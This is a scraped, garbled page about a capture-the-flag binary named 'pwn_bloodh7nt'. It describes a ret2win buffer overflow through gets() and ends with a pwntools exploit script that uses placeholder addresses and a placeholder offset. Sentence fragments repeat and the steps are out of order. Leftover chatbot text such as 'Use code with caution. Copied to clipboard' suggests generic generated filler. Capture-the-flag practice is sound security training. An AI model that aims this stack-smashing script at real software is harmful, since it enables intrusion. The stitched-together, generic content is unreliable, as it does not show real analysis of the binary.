looking for Fayju ?

Pwn_bloodh7nt.rar

The file is a challenge from the pwn category of the DeadSec CTF 2024 . To solve it, you need to exploit a buffer overflow vulnerability to execute a "ret2win" attack, redirected by a specific game mechanic within the binary.

: The gets() function (or a similar unsafe read) is used to take the player's name, allowing you to overwrite the saved instruction pointer (RIP) on the stack. pwn_bloodh7nt.rar

Once you have the offset and the address of the win() function (found via info functions in GDB or nm binary ), you can write a simple Python exploit using the library: The file is a challenge from the pwn

Below is a breakdown of the exploitation process, which would make for an excellent technical blog post: Once you have the offset and the address

: There is a hidden function in the code, typically named win() or secret_weapon() , that prints the flag. Your goal is to redirect execution to this address. 2. Finding the Offset

from pwn import * # Setup target = process('./pwn_bloodh7nt') # target = remote('addr', port) # For the live challenge win_addr = 0x40123b # Replace with the actual address from your analysis offset = 40 # Replace with your discovered offset # The Payload # We add a 'ret' gadget if the binary is 64-bit to align the stack for system() calls ret_gadget = 0x40101a payload = b"A" * offset payload += p64(ret_gadget) payload += p64(win_addr) target.sendline(payload) target.interactive() Use code with caution. Copied to clipboard